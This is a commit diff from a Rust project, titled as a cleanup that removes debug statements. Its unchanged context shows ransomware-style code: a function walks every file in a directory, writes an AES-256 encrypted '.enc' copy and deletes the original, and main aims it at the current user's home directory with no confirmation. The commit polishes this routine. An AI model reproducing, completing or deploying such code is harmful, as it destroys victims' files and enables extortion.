fix: remove debug statements

This commit is contained in:
Xory 2024-06-17 13:50:18 +03:00
parent b9a723b516
commit 9c94da7f95
2 changed files with 0 additions and 6 deletions

View file

@ -9,12 +9,10 @@ use block_modes::{BlockMode, Cbc};
use block_modes::block_padding::Pkcs7;
use walkdir::WalkDir;
use std::fs::File;
use std::path::Path;
use std::fs;
use std::io::{Read, Write};
use std::error::Error;
use std::str;
use std::env;
type Aes256Cbc = Cbc<Aes256, Pkcs7>;
@ -62,7 +60,6 @@ fn get_all_files(dir: &str) -> Vec<String> {
for entry in WalkDir::new(dir).into_iter().filter_map(|e| e.ok()) {
if entry.file_type().is_file() {
dbg!(&entry);
file_paths.push(entry.path().display().to_string());
}
}
@ -73,10 +70,8 @@ fn get_all_files(dir: &str) -> Vec<String> {
pub fn encrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
let directory = get_all_files(directory_path);
dbg!(&directory);
for mut file in directory {
let encrypted_file_path = file.as_mut().to_owned() + ".enc";
dbg!(&encrypted_file_path);
let _ = encrypt_file(&file, &encrypted_file_path);
let _ = fs::remove_file(file);
}

View file

@ -4,7 +4,6 @@ use std::env;
fn main() {
let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail!
dbg!(&home);
encrypt_directory(&home).unwrap(); // I know this many unwraps look
// suspicious, but the chance of this
// failing is less than a solar flare.